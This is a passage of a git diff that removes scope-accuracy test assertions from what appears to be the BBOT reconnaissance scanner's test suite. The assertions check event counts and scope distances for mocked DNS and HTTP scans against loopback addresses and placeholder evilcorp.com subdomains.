"_wildcard.test.evilcorp.com", "bbot.fdsa.www.test.evilcorp.com", "evilcorp.com", - "evilcorp.com", "test.evilcorp.com", "www.test.evilcorp.com", ] diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 8a9b8e8704..e8bbb569af 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -277,430 +277,433 @@ def custom_setup(scan): dummyvulnmodule = DummyVulnModule(scan) scan.modules["dummyvulnmodule"] = dummyvulnmodule - # dns search distance = 3, report distance = 1 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "test.notreal", - scan_callback=custom_setup, - _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, - _dns_mock=dns_mock_chain, - ) - - assert len(events) == 5 - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - assert len(all_events) == 8 - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - assert len(all_events_nodups) == 6 - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.1/31", - modules=["httpx"], - _config={ - "dns": {"minimal": False, "search_distance": 2}, - "scope": {"report_distance": 1, "search_distance": 0}, - "speculate": True, - "excavate": True, - "modules": {"speculate": {"ports": "8888"}}, - "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - }, - _dns_mock={}, - ) - - assert len(events) == 7 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - - assert len(all_events) == 14 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - - assert len(all_events_nodups) == 12 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - - for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.1/31", - modules=["httpx"], - _config={ - "dns": {"minimal": False, "search_distance": 2}, - "scope": {"search_distance": 0, "report_distance": 1}, - "excavate": True, - "speculate": True, - "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, - "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - }, - ) - - assert len(events) == 8 - # 2024-08-01 - # Removed OPEN_TCP_PORT("127.0.0.77:8888") - # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important. - # now for whatever reason, httpx is visiting the url directly and the open port isn't being used - # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - - assert len(all_events) == 18 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - - assert len(all_events_nodups) == 16 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - - for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 8 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) - - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.1/31", - modules=["httpx"], - _config={ - "dns": {"minimal": False, "search_distance": 2}, - "scope": {"report_distance": 1, "search_distance": 1}, - "excavate": True, - "speculate": True, - "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, - "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - }, - ) - - assert len(events) == 8 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - - assert len(all_events) == 22 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) - - assert len(all_events_nodups) == 20 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) - - for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 8 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) - - # 2 events from a single HTTP_RESPONSE - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - seeds=["127.0.0.111/31"], - target_list=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"], - modules=["httpx"], - output_modules=["python"], - _config={ - "dns": {"minimal": False, "search_distance": 2}, - "scope": {"search_distance": 0, "report_distance": 0}, - "excavate": True, - "speculate": True, - "modules": {"speculate": {"ports": "8888"}}, - "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - }, - ) - - assert len(events) == 12 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len([e for e in events if e.type == 